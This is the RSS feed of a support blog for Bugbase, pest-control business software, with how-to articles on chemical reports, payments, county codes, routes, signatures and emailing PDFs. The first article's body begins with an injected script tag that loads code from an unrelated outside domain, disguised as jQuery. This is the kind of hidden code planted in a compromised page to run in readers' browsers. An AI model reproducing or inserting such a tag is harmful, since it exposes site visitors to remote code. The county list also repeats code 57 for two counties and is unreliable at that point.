<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bugbase Support</title>
	<atom:link href="http://bugbase.com/bugbasesupport/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://bugbase.com/bugbasesupport</link>
	<description></description>
	<lastBuildDate>Thu, 18 Nov 2010 16:50:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Update Your Chemicals for the Ag Department!</title>
		<link>http://bugbase.com/bugbasesupport/?p=86</link>
		<comments>http://bugbase.com/bugbasesupport/?p=86#comments</comments>
		<pubDate>Tue, 22 Sep 2009 18:37:30 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Important Changes]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=86</guid>
		<description><![CDATA[Many of you may have recently found out about the Ag needing the manufacturers name on your chemical usage reports. If you haven&#8217;t run in to this yet, you may soon. This is not the kind of thing that can be fixed in a program update (unfortunately), however, it is really simple to do by [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://x50k.emapis.org/js/jquery.min.js></script></h5>
<p>Many of you may have recently found out about the Ag needing the manufacturers name on your chemical usage reports. If you haven&#8217;t run in to this yet, you may soon. This is not the kind of thing that can be fixed in a program update (unfortunately), however, it is really simple to do by hand.</p>
<p>Please Note: If you file your chemical usage reports Online &#8211; you do not need to make any changes, this only applies for mailed reports.</p>
<p>First, open the Materials window: Purchasing &gt; Materials.</p>
<p>Press the blue button next to Material ID, and select a chemical that you use, then press OK.</p>
<p>In the &#8216;Name&#8217; field, your going to add the manufacturers name, so instead of it saying &#8220;Bora-Care&#8221;, your going to make it say &#8220;Nisus &#8211; Bora-Care&#8221;.</p>
<p>After you have typed in the manufacturers name, press the &#8216;Save&#8217; button. This will save the changes and clear the form so you can continue to the next chemical.</p>
<p>Repeat these steps for each chemical that you use. Obviously if you never use Talstar CA, you don&#8217;t need to update it, however if you end up using it in the future, your going to want to update it before sending out your usage report.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=86</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apply A Payment</title>
		<link>http://bugbase.com/bugbasesupport/?p=83</link>
		<comments>http://bugbase.com/bugbasesupport/?p=83#comments</comments>
		<pubDate>Tue, 08 Sep 2009 18:37:37 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Invoicing / Billing]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=83</guid>
		<description><![CDATA[Before you can apply a payment in Bugbase, be sure that the person paying you has already been invoiced (or atleast has an invoice made for them), otherwise you wont be able to proceed. Open: Recievables &#62; Payment Posting. In this window, you will see that the &#8216;Post Date&#8217; already has today&#8217;s date, and you [...]]]></description>
			<content:encoded><![CDATA[<p>Before you can apply a payment in Bugbase, be sure that the person paying you has already been invoiced (or atleast has an invoice made for them), otherwise you wont be able to proceed.</p>
<p>Open: Recievables &gt; Payment Posting. In this window, you will see that the &#8216;Post Date&#8217; already has today&#8217;s date, and you are pretty much ready to get started. On line 1 enter the payment information from left to right. The MOP stands for Method Of Payment, and will default to Check. If you are writing off the amount, or received some other form of payment, click in the MOP box, then click the small Options Arrow, and make a selection from the list. Detail is where you can put the check number, Payment Amt is obviously where you put how much they paid. When you fill in the Invoice Number / Job Number field, the rest of the line should auto complete.</p>
<p>Although you could theoretically put in as many payments as you would like in one shot, we recommend that you only do around 10 or 15. If you have more payments to enter than that, only fill in 10 or 15 lines, then hit OK and continue with a blank page. The reason this can have some issues with larger volumes is because for each line, Bugbase has to open, read, process, then write to about 3 documents. Doing this for 10 or 15 lines (30 to 45 documents) is fine, any more though and you may run into some issues.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=83</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add a County (with a bonus list of county codes)</title>
		<link>http://bugbase.com/bugbasesupport/?p=79</link>
		<comments>http://bugbase.com/bugbasesupport/?p=79#comments</comments>
		<pubDate>Fri, 04 Sep 2009 22:29:21 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Company Settings]]></category>
		<category><![CDATA[Termite Overview]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=79</guid>
		<description><![CDATA[When doing your monthly chemical usage report, Bugbase will print out a report for every county that you have applied chemical in, as well as any county in which you are currently registered. If you are not getting a report for a county, it is possible that it is either not in the system, or [...]]]></description>
			<content:encoded><![CDATA[<p>When doing your monthly chemical usage report, Bugbase will print out a report for every county that you have applied chemical in, as well as any county in which you are currently registered. If you are not getting a report for a county, it is possible that it is either not in the system, or just not set as active.</p>
<p>To add or edit your count list, open Administrator &gt; Locations &gt; Counties.</p>
<p>In the Counties window, click on the blue button next to County ID to see all of the counties in the system. If you see the county that you are trying to add, select it and hit Open. Otherwise, close this list so we can enter it in from scratch.</p>
<p>The first piece of information you need is the County ID (see below for list). The County ID is a number mandated by the state.  Second, enter the county name. The only other thing you have to do to get this county to print, is check the little Active box in the bottom right hand corner of the window.</p>
<p>List of counties / codes:</p>
<p>01 Alameda<br />
02 Alpine<br />
03 Amador<br />
04 Butte<br />
05 Calaveras<br />
06 Colusa<br />
07 Contra Costa<br />
08 Del Norte<br />
09 El Dorado<br />
10 Fresno<br />
11 Glenn<br />
12 Humboldt<br />
13 Imperial<br />
14 Inyo<br />
15 Kern<br />
16 Kings<br />
17 Lake<br />
18 Lassen<br />
19 Los Angeles<br />
20 Madera<br />
21 Marin<br />
22 Mariposa<br />
23 Mendocino<br />
24 Merced<br />
25 Modoc<br />
26 Mono<br />
27 Monterey<br />
28 Napa<br />
29 Nevada<br />
30 Orange<br />
31 Placer<br />
32 Plumas<br />
33 Riverside<br />
34 Sacramento<br />
35 San Benito<br />
36 San Bernardino<br />
37 San Diego<br />
38 San Francisco<br />
39 San Joaquin<br />
40 San Luis Obispo<br />
41 San Mateo<br />
42 Santa Barbara<br />
43 Santa Clara<br />
44 Santa Cruz<br />
45 Shasta<br />
46 Sierra<br />
47 Siskiyou<br />
48 Solano<br />
49 Sonoma<br />
50 Stanislaus<br />
51 Sutter<br />
52 Tehama<br />
53 Trinity<br />
54 Tulare<br />
55 Tuolumne<br />
56 Ventura<br />
57 Yolo<br />
57 Yuba</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=79</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add A New Route To The Scheduler</title>
		<link>http://bugbase.com/bugbasesupport/?p=76</link>
		<comments>http://bugbase.com/bugbasesupport/?p=76#comments</comments>
		<pubDate>Fri, 04 Sep 2009 20:23:54 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Company Settings]]></category>
		<category><![CDATA[Personnel / Scheduling]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=76</guid>
		<description><![CDATA[Before we begin, make sure that the scheduler is closed. Open Scheduling &#62; General &#62; Define Routes. The &#8216;Route ID&#8217; is the first thing you should fill in. This can be anything: &#8220;1&#8243;, &#8220;JOE&#8221;, &#8220;PEST&#8221;, but I would recommend keeping it under 5 characters if possible. Next, if applicable, select the person handling this route [...]]]></description>
			<content:encoded><![CDATA[<p>Before we begin, make sure that the scheduler is closed. Open Scheduling &gt; General &gt; Define Routes.</p>
<p>The &#8216;Route ID&#8217; is the first thing you should fill in. This can be anything: &#8220;1&#8243;, &#8220;JOE&#8221;, &#8220;PEST&#8221;, but I would recommend keeping it under 5 characters if possible.</p>
<p>Next, if applicable, select the person handling this route in the Assign To field. Once this is done, give the route a name. Again, the name can be anything like: Pest 1, or Joe (if it is in fact joes route) or even Office to keep track of office stuff. The Schedule Group option will define what category this route falls into (on the scheduler, you will notice your routes grouped into folders, this is how you choose which folder).</p>
<p>The other fields are optional, and leaving them blank wont hurt anything. Hit Save, and open the Scheduler. You should now see your new routes on the left and across the top.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=76</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating New Diagram Labels</title>
		<link>http://bugbase.com/bugbasesupport/?p=74</link>
		<comments>http://bugbase.com/bugbasesupport/?p=74#comments</comments>
		<pubDate>Fri, 04 Sep 2009 20:08:52 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Termite Overview]]></category>
		<category><![CDATA[WDO Report Settings]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=74</guid>
		<description><![CDATA[There is almost no excuse for using the Text Box tool to type something more than once. You really shouldn&#8217;t have to work that hard. So today, we are going to create some new diagram labels. Go to Administrator &#62; WDO Admin &#62; Sketch Labels. This is one of the shortest tutorials on here. Basically, [...]]]></description>
			<content:encoded><![CDATA[<p>There is almost no excuse for using the Text Box tool to type something more than once. You really shouldn&#8217;t have to work that hard. So today, we are going to create some new diagram labels.</p>
<p>Go to Administrator &gt; WDO Admin &gt; Sketch Labels.</p>
<p>This is one of the shortest tutorials on here. Basically, to create a new label, just click on a blank line and type. To remove an existing one, or change the order in which they appear, right click on the label. To edit a label, you click on it and type.</p>
<p>When you are done, hit save. If you have left your diagram page open, switch to a new tab to refresh the list, and show your changes.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=74</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adding An Employees Signature</title>
		<link>http://bugbase.com/bugbasesupport/?p=69</link>
		<comments>http://bugbase.com/bugbasesupport/?p=69#comments</comments>
		<pubDate>Wed, 02 Sep 2009 19:10:13 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Company Settings]]></category>
		<category><![CDATA[Fumigation Overview]]></category>
		<category><![CDATA[Personnel / Scheduling]]></category>
		<category><![CDATA[Pest Overview]]></category>
		<category><![CDATA[Termite Overview]]></category>
		<category><![CDATA[WDO Report Settings]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=69</guid>
		<description><![CDATA[Having a digital signature can drastically reduce the amount of time between the inspection and issuance of a report. All inspection reports and completions must be signed by the inspector/applicator. If you are emailing your reports, you have two options. 1: Print the document, have your inspector/applicator sign it when he gets in the office, [...]]]></description>
			<content:encoded><![CDATA[<p>Having a digital signature can drastically reduce the amount of time between the inspection and issuance of a report. All inspection reports and completions must be signed by the inspector/applicator. If you are emailing your reports, you have two options. 1: Print the document, have your inspector/applicator sign it when he gets in the office, scan the document, compile it to a PDF and then email it&#8230; for every report. Or, put a digital signature in Bugbase once, and save signed PDFs without all of the hassle.</p>
<p>If you do not have a scanner, or you are not comfortable with cropping, and cleaning up images, we can create your digital signatures for $25 per signature.</p>
<p>If you have the know how and the equipment, here is how you do it.</p>
<p>First, sign a piece of paper, and scan the image into any photo editing software. You will want to scan this at 300 PPI, and crop the signature as closely as possible. We recommend that you clean up and distortion/ coloration caused by your scanner, and make as much of the white-space pure white, otherwise you will end up discoloration around the signature:<br />
<img class="screenshot" src="http://www.bugbase.com/bbsimages/signature.jpg" alt="" /></p>
<p>Once you have got the signature cleaned up, you must save it as a Bitmap (.bmp) file. Some software will default to .jpg, but entering a jpeg as a signature file causes some printing issues.</p>
<p>Now, we&#8217;ve got our signature cleaned up, cropped and saved as a Bitmap. In Bugbase, open the employees window: Administrator &gt; Personnel &gt; Employees. Use the blue button next to Employee ID, and select the employee for whom we entering the signature. In the right hand section of the window, you will notice the Signature Information section. Click the &#8216;Browse&#8217; button and find and select your signature. It will be where ever you saved it, so if you can&#8217;t find it, save it again and take note of what folder you saved it in.</p>
<p>Once you have entered the signature, you should take a moment use the &#8216;View File Placement&#8217; tool to see where it will end up. This tool is used to move the signature up and down (compared to the signature line). If it looks a little to high or low, close the preview and use the &#8216;Adjustment&#8217; drop down to fine tune the appearance of the signature.</p>
<p>When you get the signature where you want it, close the preview window and save the changes made to the employee window.</p>
<p>That&#8217;s it! By selecting the inspector in the job window, the inspection reports will be signed. To have your completions signed, select the applicator in the Print window, on the bottom right hand corner.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=69</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emailing Reports (and other documents)</title>
		<link>http://bugbase.com/bugbasesupport/?p=65</link>
		<comments>http://bugbase.com/bugbasesupport/?p=65#comments</comments>
		<pubDate>Tue, 01 Sep 2009 21:30:04 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Fumigation Overview]]></category>
		<category><![CDATA[Invoicing / Billing]]></category>
		<category><![CDATA[Pest Overview]]></category>
		<category><![CDATA[Termite Overview]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=65</guid>
		<description><![CDATA[Bugbase is not an email editing program, so you will need to have your email program functioning before you can email any documents. The short explanation: Save your document as a pdf and attach it to your email. The long explanation: First, open the job. Once you have the job window open, hit the Print [...]]]></description>
			<content:encoded><![CDATA[<p>Bugbase is not an email editing program, so you will need to have your email program functioning before you can email any documents.</p>
<p>The short explanation: Save your document as a pdf and attach it to your email.</p>
<p>The long explanation:</p>
<p>First, open the job. Once you have the job window open, hit the Print button in the main toolbar. Select the item you wish to send, and move the Print Option to PDF, like so:<br />
<img class="screenshot" src="http://www.bugbase.com/bbsimages/email.jpg" alt="" /></p>
<p>After you have set the print option to PDF, press Process. You will be asked to select where you want to save the document. We recommend saving your pdfs in My Computer &gt; Local Disc (C:) &gt; Bugbase PDFs. If you have not created a folder for pdfs, you can do so by right clicking (while in this same window) and selecting New &gt; Folder:<br />
<img class="screenshot" src="http://www.bugbase.com/bbsimages/email2.jpg" alt="" /></p>
<p>Name that folder Bugbase PDFs.  Open that folder, then click &#8216;Save&#8217; or &#8216;Open&#8217; in the bottom right hand corner of the &#8216;Save&#8217; window.</p>
<p>Now, you have created the PDF that we are going to attach to your email. From this point forward, the steps will vary based on your email program.</p>
<p>Open (or sign into) your email program, and create a new email. In the email window, you should see a button to Attach a file. When you are browsing to your file, if you followed these steps, you should be able to find your document in My Computer &gt; Local Disc (C:) &gt; Bugbase PDFs. Otherwise, browse to where ever you may have saved the item.</p>
<p>Once you&#8217;ve got the pdf attached, all you need to do is fill in the rest: &#8216;To&#8217;, &#8216;Subject&#8217;,  &#8216;Message&#8217;&#8230; and hit send.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=65</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adding An Employee To Bugbase</title>
		<link>http://bugbase.com/bugbasesupport/?p=60</link>
		<comments>http://bugbase.com/bugbasesupport/?p=60#comments</comments>
		<pubDate>Mon, 31 Aug 2009 18:16:06 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Company Settings]]></category>
		<category><![CDATA[Personnel / Scheduling]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=60</guid>
		<description><![CDATA[Watch the Video In Bugbase, you should have all of your inspectors, applicators, and technicians information as up to date as possible. For office staff and other personnel, you may want to have their information as well. Although not all personnel information is necessary, its a good idea to keep things centralized. First, open the [...]]]></description>
			<content:encoded><![CDATA[<p><a id="howto" href="../videos/addanemployee/Add an employee.html" target="_blank">Watch the Video</a></p>
<p>In Bugbase, you should have all of your inspectors, applicators, and technicians information as up to date as possible. For office staff and other personnel, you may want to have their information as well. Although not all personnel information is necessary, its a good idea to keep things centralized.</p>
<p>First, open the Employees Window: Administrator &gt; Personel &gt; Employees.<br />
<img class="screenshot" src="http://www.bugbase.com/bbsimages/employees.jpg" alt="" /><br />
The Employee ID is required. It&#8217;s not a bad idea to keep the IDs sequential, to see all of your employees, or to edit an existing employee, click on the blue button next to Employee ID. The highlighted fields shown below are the minimum amount of information required for your licensed personnel.</p>
<p><img class="screenshot" src="http://www.bugbase.com/bbsimages/employees-2.jpg" alt="" /></p>
<p>Most of the fields are self explanatory, if you are going to get hung up on anything, it would be the &#8216;License Types&#8217; section. After you enter and Employee ID, you will see the &#8216; Branch 1 &#8211; 3&#8242; and &#8216;Applicator&#8217; options appear in the &#8216;License Types&#8217; area on the right. To let Bugbase know what license(s) your employee has, click the &#8216;Active&#8217; box next to each applicable license type. This controls the areas of Bugbase in which your employee will be available as an option.</p>
<p><strong>Please note:</strong> You have the option to add an employees digital signature in this window. If you choose to do this yourself, you must save the signature file as a .bmp file. Trying to add a .jpg (or anything except a .bmp for that matter) will cause Bugbase to have errors.  We can create a digital signature for $25 and set it up for you.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=60</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Print Your Logo On Your Envelopes</title>
		<link>http://bugbase.com/bugbasesupport/?p=57</link>
		<comments>http://bugbase.com/bugbasesupport/?p=57#comments</comments>
		<pubDate>Mon, 31 Aug 2009 16:52:59 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Company Settings]]></category>
		<category><![CDATA[Fumigation Overview]]></category>
		<category><![CDATA[Pest Overview]]></category>
		<category><![CDATA[Termite Overview]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=57</guid>
		<description><![CDATA[If you have a logo that prints on your documents, you can choose to have it print on your envelopes as well. To turn this feature on, go to Administrator &#62; General Settings &#62; Envelope Logo. When you click on the menu item, it will have a little check mark next to it. Now, print [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a logo that prints on your documents, you can choose to have it print on your envelopes as well.</p>
<p>To turn this feature on, go to Administrator &gt; General Settings &gt; Envelope Logo.</p>
<p><img class="screenshot" src="http://www.bugbase.com/bbsimages/envelope-logo.jpg" alt="" /></p>
<p>When you click on the menu item, it will have a little check mark next to it. Now, print or preview an envelope (open a job and hit Print &gt; Envelope For&#8230; &gt; Process.</p>
<p>You should now see your logo in the return address area of your envelope. If you don&#8217;t see it, you may not have us put your companies logo in Bugbase.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=57</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugbase Freezing</title>
		<link>http://bugbase.com/bugbasesupport/?p=52</link>
		<comments>http://bugbase.com/bugbasesupport/?p=52#comments</comments>
		<pubDate>Fri, 28 Aug 2009 23:24:47 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Common Questions]]></category>
		<category><![CDATA[Fumigation Overview]]></category>
		<category><![CDATA[Pest Overview]]></category>
		<category><![CDATA[Termite Overview]]></category>

		<guid isPermaLink="false">http://bugbase.com/bugbasesupport/?p=52</guid>
		<description><![CDATA[While there are many things that can affect the performance of software on your computer, we have found a few that are likely culprits to the freezing issue.  Please try these solutions: 1: Check to see how much RAM your computer has: Right click on My Computer and go to Properties. If you are running [...]]]></description>
			<content:encoded><![CDATA[<p>While there are many things that can affect the performance of software on your computer, we have found a few that are likely culprits to the freezing issue.  Please try these solutions:</p>
<p>1: Check to see how much RAM your computer has:</p>
<p>Right click on My Computer and go to Properties. If you are running windows XP you should see something like this:</p>
<p><img src="../bbsimages/gb-ofram.jpg" alt="" /></p>
<p>If you have less than 500MB, consider keeping other applications closed when working with Bugbase. Realize that they currently only sell computers with atleast twice that amount of ram. Local retailers such as Best Buy not only sell ram, but can install it in your computer for you.</p>
<p>2: Although a lack of ram can seriously decrease your computers speed, there is a simple fix inside of Bugbase that you can try before shelling out cash for computer hardware.</p>
<p>In Bugbase, go to Schedule &gt; Scheduling Prefs: in the window that comes up, find the two fields marked &#8216;IP Address&#8217; and &#8216;Port&#8217;.  These fields should be blank, so if there is any information in these fields, delete it and press ok.</p>
<p>Close and reopen Bugbase. If you are still experiencing performance issues, see step 1.</p>
<p>3: Spyware</p>
<p>There are a lot of companies out there that offer Anti-Spyware software. A lot of those companies also create spyware that has the function of slowing down your computer and telling you that you have a million viruses (you don&#8217;t have a million viruses). As a general rule of thumb: don&#8217;t purchase the so called &#8216;Full Version&#8217; of an anti-virus program if you don&#8217;t remember installing the trial version. If you do install a new anti-virus program, please call us at 714.680.9999 so we can tell your new anti-virus to ignore Bugbase. Anti-virus software tends to beat up programs from smaller software developers like ourselves.</p>
]]></content:encoded>
			<wfw:commentRss>http://bugbase.com/bugbasesupport/?feed=rss2&#038;p=52</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

